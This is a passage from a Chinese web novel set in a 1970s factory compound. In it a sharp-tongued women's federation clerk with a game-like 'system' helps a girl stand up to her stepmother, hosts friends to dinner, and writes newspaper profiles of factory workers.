边月坐在地上继续哭,手里还抱着自己的两双旧鞋子。 边月的哭声又尖又利又响,把左邻右舍都给惊动了。 许多人都跑去看热闹,宋知南也随着人群一起进去。 边建军看着蜂拥而来的邻居,脸黑得像锅底,他对着边月大喝一声:“够了!别闹了。” 宋知南赶紧上去劝:“边同志,你别吼小月,这孩子跟她妈一样,一向心大,有泪不轻弹,要不是真伤心又怎么哭得这么狠?” 大家纷纷附和:“是啊,这孩子从小就不爱哭,这次是真受委屈了,可怜的娃。” 八卦副主任张大爷这次重出江湖,他还进去把边月拉起来,好声劝道:“小月,你有啥心里话就跟你爸说,别总憋在心里,爸总归是亲爸。你爸不是不疼你,他一是工作忙顾不上你,二是轻信了别人。你别因为这事跟你爸生分了,也别闹得太过,让你爸面子不好看。” 边建军看了张大爷一眼,还是爷们懂得爷们。这件事说到底都是刘素琴和小月的错,他整天忙着工作,哪里顾得了这些鸡毛蒜皮的小事? 宋知南顺着张大爷的话往下说:“是啊小月,你爸肯定不是不疼你。我不相信你爸是这种人。我听大伙说,你妈当初跟你爸一起出车,出车祸时,她奋不顾身地护着你爸,到最后她人没了,你爸全须全尾地回来了。咱就抛开他是你亲爸不说,就单凭你妈是他的救命恩人这一点上,他都该一辈子对你好。更何况是你们之间还有血缘关系。你爸是大家伙看着长大的,他不是那种忘恩负义、背信弃义、薄情寡义的人。” 边建军的脸更黑了,宋知南这话是啥意思?这是当众打他的脸呢。 众人看着边建军,也突然想起了这一茬,是啊,是边月亲妈护住了边建军,边建军被抢救回来时还痛哭流涕,恨不得当场跟着媳妇去了。 还说自己要不是顾念着闺女没人养就不活了,他打算再也不娶,只想好好养大女儿。谁能想到,也就不到一年吧,他就把刘素琴娶回了家,第二年生下了儿子边阳。边建军对刘素琴十分满意,时常夸她懂事温柔还会打扮。刘素琴还让女儿改姓边,边建军对刘素琴更加满意,对边星比对亲女儿边月还好。 这男人呐,发誓都是发着玩的。守寡的寡妇多的去了,守寡的男人没几个,能守住的也是因为找不着。 安慰人就要诛心,宋知南真的做到了。她诛完边建军的心,又接着诛刘素琴的心,她像很多好邻居一样,语气温和,娓娓道来:“刘嫂子,咱们以前就见过,在我眼里,你长得漂亮,又能说会道,在邻里中间口碑也一向很好。” 刘素琴只觉得眼皮子直跳,她直觉没好事,就想制止宋知南。 宋知南开口哪是旁人能制止得了的,她抓住刘素琴的手,硬控着她,继续往下说:“刘嫂子,你是个好人,小月的亲妈岳志英更是个好同志,为公牺牲,为丈夫牺牲。母亲这么好,孩子肯定不会孬。小月根正又苗红。你俩都好,但事情却闹成这样?那究竟是谁的错呢?” 刘素琴用另一只手擦擦眼泪:“都是我的错呗,我就不该嫁进边家,结婚前大家都劝我后妈难当,前头的孩子不好伺候,我不信,我管她吃管她喝,打不得骂不得,现在她却这样对我。” 宋知南说:“刘嫂子,后妈是难当,但是亲妈也难当,关键是怎么当。我是妇联的,我听过很多案例,也研究过很多方法论。我给你一个小小的建议,你们俩的分歧主要有以下几点:一、你们双方的记忆出现了偏差,你说你给边月零花钱了,边月却没收到。我建议为了避免以后再出现类似的事情,你下回给零花钱就当着众位邻居的面给,以后边月说没收到,大家可以为你做证。” 刘素琴:“……” 宋知南接着说:“第二大分歧,你买的东西总是不符合边月的要求,我建议你只给她钱和票,让她自己买或是邻居们帮着买,毕竟大家低头不见抬头见的,这点小忙还是愿意帮的。省得你们以后再出现纠纷;第三大分歧,亲妈后妈都是妈,你以后对亲生儿女咋样就对小月咋样。给亲生孩子买啥就给小月买啥。你看她还怎么说?第四大分歧,你也别总是跟邻居说小月的不好,你要是管不住嘴就爱说孩子的坏话,那你就连亲生儿子闺女一起说,比如说你儿子边阳又顽劣又淘气还不好好学习,说你闺女边星娇气又小心眼,天天爱挑刺。” 牵扯到自己的儿子闺女,刘素琴终于忍无可忍,硬把手从宋知南手里拽出来,冷冷地说道:“宋同志,我儿子闺女好得很,完全没有这些毛病。” 宋知南一脸不信:“不对啊,都是一个家里出来的,边月要是有孩子都有的毛病,不可能你儿子闺女一点都没有吧?你要说遗传,那更不可能,岳志英同志的好大家有目共睹。边大哥的人品大家伙也知道,所以这……” 刘素琴咬着牙说道:“所以都是遗传我吧?宋同志,你要替边月说话就直说,别这么拐弯抹角的。我知道她最近一直跟你走得很近。” 宋知南一副受了伤害的委屈表情:“哎哟,你这人怎么说话呢?我也是好心劝你,你倒好,把我的好心当成了驴肝肺。行行,我惹不起你,我啥也不说了。” 刘素琴气得说不出话来。 宋知南回到邻居堆中,唉声叹气:“以前我初见刘嫂子时,觉得她是一个和气又厚道的人,咋今天突然就变脸了?” 有人小声接话:“她这人就会装。” 宋知南小声:“哦,原来如此。敢情我们都被骗了,这是把咱们大家伙当傻子呢。” “可不是嘛,她以为天底下就她聪明呗。” “我以后得放聪明点,可不能再被她愚弄了。万一别人说我帮着后妈欺负孩子,再骂我脑子不好使,你说我这张老脸往哪儿搁?” 邻居们:你这是内涵谁呢? 宋知南叹息一声,背着手往回走。 系统播报,收获30个杠精值。这帮邻居太好了,一上来就送重礼。怪不得人说远亲不如近邻,远亲太远,想杠也杠不着。 宋知南到家一个小时后,边月就像一阵旋风似地来了。 这是汇报战果来了。 40-50 第41章 边月整个人气场大变, 宛如流浪猫进化成东北虎的那种蜕变。走路脚底带着风,目光明亮, 声音响亮。 “师傅,我们赢了。” 宋知南不吝夸奖:“不错不错,你不愧是我的首席大弟子,非常有潜力,你要戒骄戒躁,再接再厉。” 边月听到“首席大弟子”这个称号心中愈发欢喜,胸中莫名涌上一丝自豪感和责任感,哪怕以后师傅再收徒弟,也越不过她这个首席大弟子。 边月兴奋得搓着手手:“我没想到我那么容易就战胜了刘素琴,以前我总觉得她特别厉害、不可战胜。” 她接着说道:“所以,关键就是师傅的指导。名师出高徒, 嘿嘿。” 宋知南淡然道:“我一直对你很有信心, 知道你一定会赢。一是相信你的实力;二是你是正义的一方, 邪不压正;三嘛,其实刘素琴就是个纸老虎, 她一个三十岁的成年人去对付一个十二岁的女孩, 其实就是欺负弱小,仗着比你多活十几年的经验而已。只要有人把经验这块给你补上,她立即一败涂地。以后你再跟人对战,记得要冷静,多想想对方有什么优势劣势,你自己有什么优势劣势,一定要扬长避短, 不要拿自己的短处去硬碰别人的长处。” 边月立即拿出笔记本记笔记。 记完笔记,她想到什么, 赶紧从书包里掏出一把零钱给宋知南看:“师傅你看,我爸给我的钱,十块钱。自从我妈不在后,我是第一次有这么多钱。” 宋知南看了一眼,十块钱在这个时代算是一笔大钱了,便嘱咐她:“钱放好,别乱花。” 边月兴奋地说:“师傅,我想把拜师礼给你补上。”只是她不知道要买什么好。 宋知南严肃地说:“拜师礼就不必了,你现在还是个孩子,没有挣钱的能力,礼物等你长大后挣了工资再给我买。” 边月内心感动,她师傅真的是世上最好的师傅,不但智慧明睿,还温柔体贴、善解人意。 宋知南接着说:“如果你过意不去,非要送我礼物,那就好好学习,争取年年考第一,你若是能拿到奖状,为师会非常高兴。”、 说到为师,她有一种莫名的羞耻感。 边月眼睛一亮,她的成绩本来就好,拿第一应该不成问题,这个礼物她送得起。 宋知南又嘱咐边月一句:“今天这一战只是刚开始,后面对方肯定会反扑,你做好心理准备。你亲妈是因公牺牲,你要多用这个身份,如果再受了委屈,要去找厂里的领导告状也可以来妇联,这样我帮你也有了名正言顺的理由。” 边月眼睛一亮,频频点头:“好。” 天快黑了,边月要回家了。宋知南怕她忘了,提醒了一句:“这个周日的中午我请你俩吃饭,不要忘了。” 边月激动地说:“我忘不了的。” 回去的路上,边月想着,拜师礼先放着,但登门的礼物她还是得送。 边月离开后,宋知南开始准备晚饭,就做个茄丁打卤面,她正在削茄子皮,忽然听见系统开始播报了:恭喜宿主升级为团队模式,编号为001的下属,贡献杠精值20。 宋知南惊了一下,抬杠竟然还可以团队作战,还有团队杠精值? 她学着四郎的语气:“统妃,你还有多少惊喜是朕不知道的?” 系统:“……”她被调戏了。 系统憋了半天来了一句:“女人,你不要学那些油腻男人说话,没得让人恶心。” 宋知南跟系统杠上了:“统子,你现在学的是霸道总裁说话。” 系统自闭了。 竟然可以团队抬杠,这个大发现让宋知南兴奋异常。有句话怎么说的,不会带团队,自己得干到死。看来她以后得学着带团队了。徒弟可以多收几个。不过这个需要时机,弟子在精不在多。 宋知南嘴里哼着歌儿继续削茄子皮,小狗见她如此开心,也陪主人同乐,兴奋地摇着尾巴。 20分钟后,茄子打卤面做好了,还挺好吃。她的厨艺越来越好了。 吃完饭,宋知南刷锅洗碗打扫卫生,带着黑米沿着家属区溜达一大圈散步消食,顺带收获邻里新闻若干。 路边社最新消息:边月的战斗力突然猛涨,跟她后妈又吵了一架,刘素琴四处哭诉,说边月是个白眼狼,说后妈不好当。 有人说:“家家有本难念的经。” 宋知南说道:“家家是有本难念的经,但刘素琴很明显就没打算念好经。别的我也不多说,大家的眼睛都是雪亮的,脑子都是聪明的,你们会自己判断。 我就说一条,自从刘素琴进了边月的家,是不是一直都是她说边月怎样怎样不好,你们可曾听过边月说她一句不好?孩子毕竟是孩子,就算边月淘气有点小缺点,正常的大人谁会计较?是不是都一笑而过?怎么到了刘素琴嘴里,边月就成了十恶不赦的小混蛋了?这人呢,咱不求你多好,至少得正常吧?唉,你们大家都小心些,反正我是打算远离不正常的人,咱惹不起。” 众人面面相觑。 有人诧异地问道:“小宋,你的嘴这么厉害,还怕她刘素琴?” 宋知南摇头摆手:“怕,我不但怕刘素琴我还怕边建军。你们想,他可是个狠人,老婆替他死了,他发誓发着玩儿,转头就找个新老婆,还眼睁睁的看着亲生女儿被虐待。你说他不知道?这才是最可怕的。他其实啥都知道,但就是假装不知道,让刘素琴替他当坏人,他自己搞得还挺无辜。坏事别人做了,他得利,完了还落个好名声,你们仔细想想这种人可不可怕?轮心眼,谁玩得过他?” “我跟你们讲,我宁愿跟正常人吵一架,也不敢跟不正常的多说一句话。这种人心眼太小,总觉得别人都对不起他,他最无辜最可怜。老觉得自己最聪明,别人都是傻子,总想玩弄别人的人心。” 大家一琢磨,刘素琴和边建军好像还真是这样,就是可怜了边月这孩子,没妈的孩子像根草。 宋知南人还在散步,又有一个新闻已经传出来了。 大家说宋知南害怕刘素琴和边建军,因为对方心思太阴沉不是个正常人。连宋知南都怕的人那得有多可怕呀。刘素琴和边建军不知道自己的负面评级暗地里升高了。 边建军更不知道自己好男人好父亲的形象崩塌成了废墟,当初是你哭着喊着要守寡,转头孩子就有了后妈。有后妈就有后妈,孩子被虐待,你说你不知道,你的眼睛是瞎的吗? 边建军的形象是逐步坍塌的,边月没闹之前,邻居眼中的边建军:工作体面,家庭大体和谐,是个好丈夫好父亲;边月刚闹完后,大部分邻居眼中的边建军:他这个爸当得不太称职,但也情有可原,毕竟他整天在外面工作,动不动就出差啥的,男人嘛,心都粗,他都是被刘素琴给蒙蔽了;现在全变了,这人不但背信弃义还心思深沉,让刘素琴在前面当坏人,他当好人。他可怜他无辜都是女人的错,真不要脸。 宋知南发表完今天的新闻评论便带着黑米回家去了。今天微信步数应该够了,“朋友圈”发表完毕,顺利收工。又是充实的一天。 很快就到了周日,今天是宋知南请客的日子,她一大早就开始准备。 拿粮票跟人换了肉票,买了三两猪肉,再从系统商城买了二斤,炖了一锅猪肉炖白菜粉条。炒了个韭菜鸡蛋,蒜薹炒腊肉,炒瓠子。 十点左右,李群英提着一篮子梨上门了。梨是她自家院子里的梨树结的。 宋知南接过梨子,笑着道谢。 李群英一边帮宋知南干活一边跟她闲扯:“我听邻居说,边月跟她后妈大闹一场,还吵赢了。这里面肯定有你的功劳吧?” 宋知南谦虚道:“吵赢是因为小月占理,邪不压正嘛。” 李群英摇头:“占理也未必能赢,要不然,这孩子也不会受了好几年委屈。其实大家也不都是傻子,有些人心里跟明镜似的。但是吧,大家跟她非亲非故的,也不好上门去管。知南,你是第一个主动去管事的人。真的,你的善良和正义感远超出我的预料。” 宋知南实事求是地说:“正义感我是有点的,但善良不太多,时有时无。”她做事主打一个随心所欲,顺带赚点杠精值。 李群英忍俊不禁:“别人都巴不得所有人都说他是好人,你倒好,把好人的称号往外推。” 宋知南正色道:“我觉得做人得层次丰富,让人不好定义。就像这五花肉,肥中带瘦,瘦中又带点肥,吃起来才带劲。 纯粹的好人又难又累,还容易被人利用。纯粹的坏人需要天赋和机缘。我就当一个好中带点坏的人。” 李群英若有所思:“听上去很有意思,又颠覆了我的认识。跟你在一起说话长见识。要按你说的,那我是不是太好了?” 宋知南笃定地说:“肯定啊,姑娘,你学坏一点吧,坏女孩走四方。” 她们说着话,边月来了。边月背着一个鼓囊囊的书包,一只手提着一个篮子,另一只手拖着一只破竹筐,累得满头大汗。 两人闻声出来,边月朝她们一笑:“师傅,群英姐。” 边月先把手里的篮子递给李群英:“我去给师傅采了紫星星,可好吃了。” 紫星星是本地产的一种野生浆果,紫黑色,学名叫龙葵果,酸甜。 宋知南说道:“我小时候也爱吃这种野果,好久没吃了,今天刚好过个嘴瘾。” 边月说着把书包取下来递给宋知南:“这是我从废品站淘的旧书,不值什么钱的。师傅你肯定喜欢。” 宋知南打开书包一看,里面是四本旧书,一本诗词,一本《歇后语大全》,两本苏联小说。 边月又指指脚边的破竹筐说:“这是我跟我的好朋友一起去捡的碎煤,我们自己做的蜂窝煤。” 李群英诧异道:“你们竟然会自己做蜂窝煤,很厉害嘛。” 宋知南说:“小月,你送的礼物我都喜欢,谢谢你。你赶紧去洗手洗脸准备吃饭。” 边月去井边打水洗脸洗手,她回到堂屋时,饭菜已经端上桌了。 一瓷盆猪肉炖粉条白菜正冒着热气,三大盘青菜,竟然还有酒,还是清甜的米酒。 宋知南给李群英倒一碗米酒,给边月倒一碗凉白开,三人坐下来吃饭。 做为东道主,她简单说了两句:“这是一场简单但又意义重大的聚会。今天我们三个不同年龄段的女士聚在一起,这说明什么?说明,年龄在真正的志同道合面前不值一提;说明我们咱们女同志是渴望团结也有必要团结的;团结就是力量。以后,咱们不要相信什么‘三个女人一台戏’,爱唱戏的那都是表演爱好者,跟男女无关。比如咱们的邻居张大爷,人家一个人就是一台戏。” 第42章 李群英听着这番话, 脑海中浮现出张大爷拿着黄历上厕所的事,噗嗤一声笑了出来, 差点把嘴里的米酒喷出来。 边月也在一旁跟着笑。 宋知南接着说:“这次十分感谢群英,若不是你提醒我,我也不会这么顺利的申请到房子。要不怎么说,一人计短,二人计长呢。” 李群英谦虚地说:“你能申请到房子是因为你有本事,我只是给你提个建议而已。” 宋知南端起酒碗敬李群英:“你的建议提得及时,但凡晚一步,事情都不会这么顺利。” 李群英笑笑,连她自己都没想到事情会办得这么顺利。事后,她才得知,其实有不少人也惦记上了这房子, 但凡宋知南行动迟缓一下, 或是手段不那么高明, 这房子都未必属于她。 宋知南说:“来,咱们干一个, 话都在酒里。” 两人相视一笑, 举碗干杯。 宋知南也没冷落边月,说道:“小月是我收的第一个徒弟,是我的首席大弟子,欢迎你的加入。来,你喝白开水,我喝酒,咱们也干一碗。” 边月心是激动的, 手是颤抖的,她举碗跟师傅碰了一下。从今天起, 她不再是从前的她了。她可是上了主桌吃饭还跟师傅碰杯的首席大弟子。 李群英看着边月那郑重其事的小模样,忍不住又笑了起来。孩子最喜欢被当作大人看待。 她也举碗跟边月干了一下,又把小姑娘给激动一下。 宋知南又说:“来,咱们三人干一杯,干完赶紧吃菜,都别客气,谁客气谁傻。” 三人开吃,李群英一点也不客气,大口吃肉,大口吃菜。边月本来有点拘谨,渐渐地被她们两人随性的气氛感染,也慢慢放开了。 三人的胃口都不小,十个馒头很快就吃完了,一盆猪肉炖粉条也见了底,菜也吃得差不多了。 黑米在桌子下面眼巴巴地抬头看着她们,就等着上面掉块骨头和肉渣。 可惜的是骨头本来就少,这会儿已经掉完了。 宋知南用一点肉汤泡了馒头,喂了猫狗。 吃完饭,边月抢着去洗碗,李群英没抢过她。宋知南看小徒弟挺要强,就让她去洗了。她跟李群英一起把卫生打扫干净,再洗了三个梨,一碗紫星星当饭后水果,等边月洗完碗出来一起吃。 午后,阳光正好,秋风微凉,脚下猫狗缠绕,画面十分温馨。边月洗完碗出来,看着这一幕,心头涌起一股怅然的感动。自从妈妈去世后,她已经很久没体会过幸福温馨的感觉了。 边月和李群英在宋知南家呆了一个多小时后,才一起告辞出来。 宋知南洗洗衣服,准备一下,明天又得上班了。 周一早上,一上班,宋知南的直属领导贺胜男就把她叫到隔壁办公室里谈话。 贺胜男先表扬了宋知南一番:“小宋,自从你来了妇联以后,咱们的影响力变大了,还上了报纸,夸你的人很多,大家都说你是个好苗子。” 宋知南态度谦逊地说:“谢谢贺主任夸奖。” 她静静地等着,上过班的人都知道,领导夸你时不仅仅是为了夸你,虽然前面说了一堆好话,后面一般会有个“但是”。 果然,贺胜男夸了她一通,后面突然话锋一转:“但是呢,也有些同志不理解你的苦心,对你有点意见。” 宋知南点头:“贺主任,我知道,有些男同志对我不满,可是咱们是妇联,跟一部分男同志存在天然的对立,他们讨厌我,说明我一定做对了什么。这就好比美帝苏修讨厌咱们国家,那就说明咱们正走在正确的道路上,他们要是喜欢咱们,那麻烦就大了。” 贺胜男赶紧纠正道:“小宋,咱们妇联是为女同志服务不假,但咱们跟男同志不是对立的。咱们都是无产阶级的兄弟姐妹。” 宋知南点头:“我明白的,咱们是对立统一,属于人民内部矛盾。我说他们,是想让他们进步,可这些人不理解,不过我能理解他们思想的局限性和气量的有限性。” 贺胜男:“……”这话要是被男同志听到了,肯定又得跳脚。 贺胜男想了想,语重心长地说道:“小宋,其实从我个人的角度来说,我认为你没做错什么。就是现下这个局势……你想想咱们这场运动的名字叫什么?虽然你出身工人阶级,根正苗红,年纪小,没有任何黑料可挖,可我就怕你引起了别人的注意,有人存心想整你就麻烦了。” 贺胜男纠结片刻,还是很谨慎地说道:“我认识的一个老前辈,她说过一句话,‘你招惹政治一下子,它就招惹你一辈子。’我希望你千万不要招惹政治,咱们一般人惹不起它。” 宋知南看着贺胜男,同样是做思想工作,贺胜男一点也不招人反感,她是掏心窝子跟你说话。宋知南虽然爱杠爱反驳,但好赖还是能分得清的。 她低头思考一会儿,郑重地说道:“贺主任,这是亲领导才说的掏心窝子话,我全听进去了。之前是我考虑不周,以后我会变得更周全更稳重。我真的不想招惹政治,我还想再为祖国奋斗80年。” 贺胜男听到宋知南真的听进去了,心里松了一口气。听到她还要再奋斗80年,忍不住笑了。 她接着说道:“马上就要十一了,这可是个双节日,既是国庆,也是咱们红星纺织厂成立二十周年纪念日,咱们工会要跟厂委一起办国庆庆典。你脑子灵活点子多,杨主任的意思是想调你过去帮忙,但厂委的人怕你再惹事……” 宋知南当即表示:“贺主任请放心,我这次绝不惹事,我以前是真不知道有些男同志那么小心眼,那些话原来不能说。我现在知道了,我以后会更加谨慎的。” “那就好。” 这次谈话之后,宋知南真的“改”了。连何黛都注意到了,宋知南变沉默了。 她不由得暗暗叹息一声,再有锐气的人也终究会被社会改变。 宋知南哪是那么轻易被改变的,她在憋大招。此路不通,我就换一条。 女人在权力面前,还是得向男同志学习。毕竟人家有几千年的经验和历史,几千年来,他们把女人隔绝在权力外面,让她们沉溺于爱情、家庭和内斗,让她们甘愿牺牲自己,自己把自己套进好女人的绳套里。不得不说,人家是有一套规则的。她可以拿来用嘛。前途是光明的,但过程肯定是曲折的。 首先,她要政治正确,让那些人在表面上挑不出她的错。其次,她要分化那帮男人们,不要让他们那么团结,团结一部分,狠抽一部分,也让他们内斗起来。 确立后思想后,宋知南开始写计划。 国庆厂庆,宣传肯定少不了,痛说革命家史也少不了。她先从这方面入手。 这几天,宋知南打着采风的借口,没事就出门转悠,食堂、车间、副食店都出现了她的身影。 效果是明显的,她很快就有了素材。 宋知南打算先做一个“感动青阳照耀红星”的系列人物专访。 第一个人物是厂里的搬运工张铁山,张铁山跟别的男人不一样,他是上门女婿。他家兄弟多,娶不起媳妇,他又不受父母重视,经人介绍就当了上门女婿,岳父岳母给他安排了工作。 结婚不久,张铁山的岳父岳母就缠绵病榻,妻子也生了病,张铁山整天忙里忙外,他对岳父母很好,在工人中的口碑也挺好。当然,他也因为上门女婿这个身份被很多人看不起。张铁山为人沉默寡言,平常只知道埋头干活。 宋知南决定把张铁山做为正面典型来宣传,以前见社区动不动就宣传什么最美儿媳妇,她心里就不得劲,她心疼那些男人们,为什么就没有最美女婿呢?你凭什么歧视男人? 第二个先进人物,是附近有名的好爸爸,他善待妻子带过来的一双儿女,哪怕孩子有病也坚决不放弃。 宋知南连稿件的名字都想好了:第一篇名字就叫做《张铁山:孝老爱亲好女婿》,第二篇名字叫《父爱如山:为儿女撑起一片天》。 你看她一口气写了两篇男同志,谁说她不为男同志说话? 宋知南找李群英借了一部相机,她脖子上挂着相机,手里拿着笔记本,兜里插一枝钢笔,像模像样地去采访张铁山。 张铁山搬了一上午货,从食堂打了饭菜,正狼吞虎咽地吃饭,突然听到有人找他。 他一抬头见是个十五六岁的年轻姑娘,他愣愣地问道:“你、你找我?” 宋知南打量了一眼张铁山,这人四十多岁,身材精瘦,面容黝黑,背有些佝偻。 她先自我介绍道:“张铁山同志,我叫宋知南,是工会的干事。这不马上就是十一和厂庆了吗?厂里决定大力宣传咱们厂工人的先进事迹,我就做了一个‘感动青阳照耀红星’的人物专访系列,同志们向我推荐你,说你数十年如一日地孝顺岳父岳母,照顾生病的妻子,是咱们厂有名的孝顺女婿。” 张铁山先是诧异,随即一想,也是,他确实数十年如一日的照顾岳父岳母,对他们跟自己亲爹亲妈没区别,不对,比对自个爹娘还好,他都没好几年没见到爹妈了。 张铁山黯淡的双眸中闪烁着一丝微弱的亮光,他放下饭盒,不好意思地挠挠头,“我的工作是我岳父帮忙办的,岳母对我也很好,我孝顺他们也是应该的。” 大家都说上门女婿不好当,当时他是怀着忐忑的心情来到岳父家的。没想到岳父岳母对他竟然很不错,给他办工作,还给他做新衣裳。岳母说话总是很注意,生怕刺伤他的自尊心。他在家里哪享受过这种待遇?张铁山知恩图报,别人对他好,他就拼命报答。这些年虽然日子过得苦,但他从小吃苦吃习惯了,倒也没觉出什么来。好歹他是正式的工人,能吃饱穿暖,再想想自己老家的亲人过的日子,他很知足。 宋知南认真地说道:“张铁山同志,你越是这么认为,越说明你是一个善良、知道感恩又容易满足的好人。你跟别的男同志不一样。” 张铁山听着这话像喝了一杯温酒似的,心里暖融融的,分外舒坦。 他憨厚的笑了笑。 宋知南瞅准时机抓拍了这张照片。张铁山见宋知南突然给他拍照,惊了一下,赶紧说道:“你要拍照,倒是提前说啊,我好歹换身衣裳洗把脸,不能浪费了你的胶卷。” 宋知南笑着说:“不不,我觉得刚才就很好,特别自然。你那憨厚淳朴的笑容十分有代表性。” “那好吧。” 宋知南一点点地打开了张铁山的话匣子,把自己想问的都问了出来。采访完毕,宋知南又礼貌的问能不能明天下班后去他家看看。 张铁山爽快答应了。 第43章 第二天下班后, 宋知南脖子上挂着相机,拿着笔记本去了张铁山的岳母家。 张铁山的妻子王金凤面色苍白, 身材瘦弱,因为她身体不好,被厂里安排了轻省的活。 王家两位老人家,也都是纺织厂的老工人,两人的身体不好,但精神头还不错,身上也收拾得干干净净。 两人的耳朵都不太好使,宋知南只能放大音量跟两人聊天。 王金凤看宋知南这么费劲,就主动说:“宋同志,你有啥事就问我吧,你这样扯着嗓子聊下去, 嗓子得劈了。” 宋知南笑着说:“也好。那我就采访你吧。” 宋知南一个问题接一个问题地抛下去:“王同志, 在你眼里张铁山是一个怎样的人?” 王金凤温柔地笑着说:“他人挺好的, 善良敦厚,对我父母很好, 对我和孩子也好。” 张铁山的脸上泛起了羞涩的笑容。 “我听张同志说, 你父母对他非常好,他们平日的言行十分注意,生怕伤害他的自尊心?” 王金凤笑着答道:“确实是这样,我妈说铁山离开父母亲人,融入我们家挺不容易的,不但她说话很注意,还嘱咐我说话也要注意。” 宋知南感慨道:“你的父母超过了全国百分之八十的公公婆婆, 你想啊,铁山同志远离父母融入你们家不容易, 那些媳妇也是如此啊。但她们的公公婆婆就不会这么想,反而会想,趁着她人生地不熟,人单势孤,赶紧给她立规矩欺负她,有些人家甚至全家一起欺负儿媳妇。” 王金凤笑着说:“我也听说过很多类似的事情。” 宋知南总结道:“所以说,上门女婿比上门媳妇的待遇好太多,矛盾也挺少,我感觉上门女婿更适合我国国情。” 王金凤陷入了沉思。 张铁山觉得这个说法隐约有些不对,但他又不好当面反驳宋知南。 宋知南对张铁山说:“张同志,虽然你老实能干善良,很多人都夸你,但也有少部分不开眼的人背后说你,你这些年肯定也受了不少委屈吧?” 张铁山摇头苦笑:“唉,事情都过去了,我也没放在心上。” 宋知南说:“我觉得这个事情的根源就是你这种人太少了,要是你这样的人多了,大家一适应,也就习以为常了。” 张铁山先是愣了一下,随即转念一想,确实如此,上门女婿多了,大家一习惯,就不会对他另眼相看了。嗯,以后回村,村里要是有娶不上媳妇的老实小伙,他也可以考虑介绍他们来当上门女婿。 宋知南采访时间是四十多分钟,毕竟王家人还要做晚饭,也不能耽搁人家的正常生活。 宋知南临走前给他们拍了一张全家福,她握着王金凤的手说道:“谢谢你们,等到稿子写完,我会拿给你俩过目,你们同意我再拿给领导看看。” 王金凤连忙摆摆手:“不用这么麻烦,宋同志你觉得行就行。”厂里谁不知道宋同志的文采好啊,毕竟都上过报纸了。 宋知南笑着说:“我就喜欢跟咱们工人打交道,两个字:爽快。” 王金凤和张铁山一起笑着送宋知南到巷子口。 宋知南回家后奋笔疾书,两个小时就完稿了。 第二天下班,她又去采访那位好继父赵大刚。赵大刚是厂里保卫科的,生得又矮又胖,笑得跟个弥勒佛似的。他媳妇白欣又高又漂亮,说话温温柔柔的。这两人的颜值差距有点大。 白欣的话不多,她只是站在那儿用温柔含笑的目光看着宋知南和赵大刚说话,赵大刚比张铁山健谈多了。 “我跟她是初中同学,她是班花,长得好看,学习也好。其实那时候我就开始注意她了,也不光是我注意她,班里的男同学都喜欢偷偷看她……” 宋知南:“原来你们是青梅竹马呀?” 赵大刚顿了一下,笑着说:“也不算吧,她跟别人是青梅竹马,我就在一旁看着……” 白欣看了一眼赵大刚,赵大刚赶紧停住不说了。 宋知南明白了,这个白欣是赵大刚曾经求而不得的女神。 她面带微笑:“赵同志,你是我所见过的最善良最有担当最有爱心的男人,你刷新了我对男同志的认识。怪不得你能娶到白同志这样秀外慧中、知书达理、美丽温柔的好媳妇。你真是广大男同志的启明星,是他们的指路明灯。” 赵大刚听到这么高规格的称赞,一时不知道该说什么好,嘿嘿笑了两声。 白欣难得说了一句话:“宋同志你才是女同志的指路明灯,我希望能多出几个你这样的女干部。” 三人愉快地握手告别。 宋知南离开后,赵大刚说道:“大家都说小宋对男同志有偏见,我看不像啊,你瞧她对我多客气。” 白欣笑着说:“小宋不是对男同志有偏见,她只是对某些男同志有看法而已,遇到你和老张这样的,人家不也挺尊重?所以说,人必自重而后人重之。” 赵大刚双眼放光:“果然,你们读书好的人说话就是不一样,就是这么个理儿。” 宋知南采访完两个男同志后,接下来便开始采访女同志。 女同志这边的采访对象,都是厂里的积极份子、劳动模范。她按照名单一个个采访下去。 第一个采访的是车间模范女工刘春荣;第二个是王铁梅,仓库失火时,王铁梅积极抢救集体财产,手臂和腿上现在还有烧伤的疤痕;第三个是工会副主席杨奋进,杨奋进就是女工委主任,大家一般都叫她杨主任。 杨主任起初婉拒采访:“小宋啊,我就不必采访了,你多采访那些一线女工,最辛苦最勤劳的是她们。” 宋知南说道:“杨主任,一线女工当然要采访,但一线领导也得采访。工人有工人的辛苦,领导有领导的辛苦。我采访您不为了别的,主要是我们广大女同志缺乏榜样,榜样的力量是无穷的。” 杨主任无奈地笑笑:“行行,我接受小宋记者的采访。” 宋知南拿出最专业的态度开始采访。 采访完杨主任后,她回去后还想采访贺胜男,谁知贺胜男坚决拒绝:“小宋啊,你要是再采访我,容易让外人觉得咱们妇联在自吹自擂。” 宋知南:我本来就想自吹自擂呀。但这话又不能真说出来。算了,就到此为止吧,下次再吹自己这边。 宋知南用了三天时间,把稿子修改完毕,先拿给直属领导贺胜男过目。贺胜男一边看一边称赞:“小宋,你又进步了。不但文笔进步了,思想也有了很大的飞跃。以后谁再说你对全体男同志有偏见,我就可以把这两篇文章甩到他们脸上。” 她说的是宋知南采访张铁山和赵大刚的那两篇文章。 贺胜男喝了一口茶,接着往下看,一边看一边频频点头,显然十分满意。 看完,她说道:“我觉得一点问题都没有,连标点都不用修改就可以直接上厂报和投稿,我再拿给杨主任和其他人看看。” 贺胜男匆匆离开。 下午快下班的时候,贺胜男回来告诉宋知南:“小宋,杨主任和工会那边的同志都看了,他们都说好,鉴于国庆要发的文章太多,咱们要提前发,恰好明天就有一期厂报要出,杨主任已经把你的稿子递上去了。同时还把稿子给《青阳日报》、《青阳晚报》编辑部送过去了。” 宋知南朗声说道:“谢谢贺主任和杨主任。” 贺胜男拍拍宋知南的肩膀,笑眯眯地说:“厂委那边昨天也送了一摞稿子去报社,咱们工会这边正愁没稿子,这不你的就送上来了。咱们工会孙主席对你大加赞赏。他让你专心写稿,争取再出新作。” 贺胜男的话只传了一半,孙主席后面还说,宋知南的优点是写作能力强,笔头锋利。缺点是嘴太锋利,以后少让她给别人调解矛盾。她根本不是解决矛盾,她是要解决掉男人,所以男同志才对她不满。以后让何黛负责调解矛盾,她负责写稿宣传就行了。 贺胜男知道宋知南对调解矛盾有着异样的热情,她不忍心浇灭属下的工作热情,所以就压住没说,打算以后再说。 厂报第二天就登出了宋知南的五篇稿子,除了张铁山和赵大刚的两篇外,还有采访女职工和杨主任的那三篇,刘春荣的是《生产劳动新闯将》,王铁梅的是《心中有信仰,巾帼有力量:铁姑娘精神永流传》,杨主任的是《妇女能顶半边天,七十年代写诗篇》。 《青阳日报》和《青阳晚报》各选了两篇,日报选的是张铁山和王铁梅那两篇,晚报选的是赵大刚和杨主任那两篇。日报出的早些,晚报下午才出。 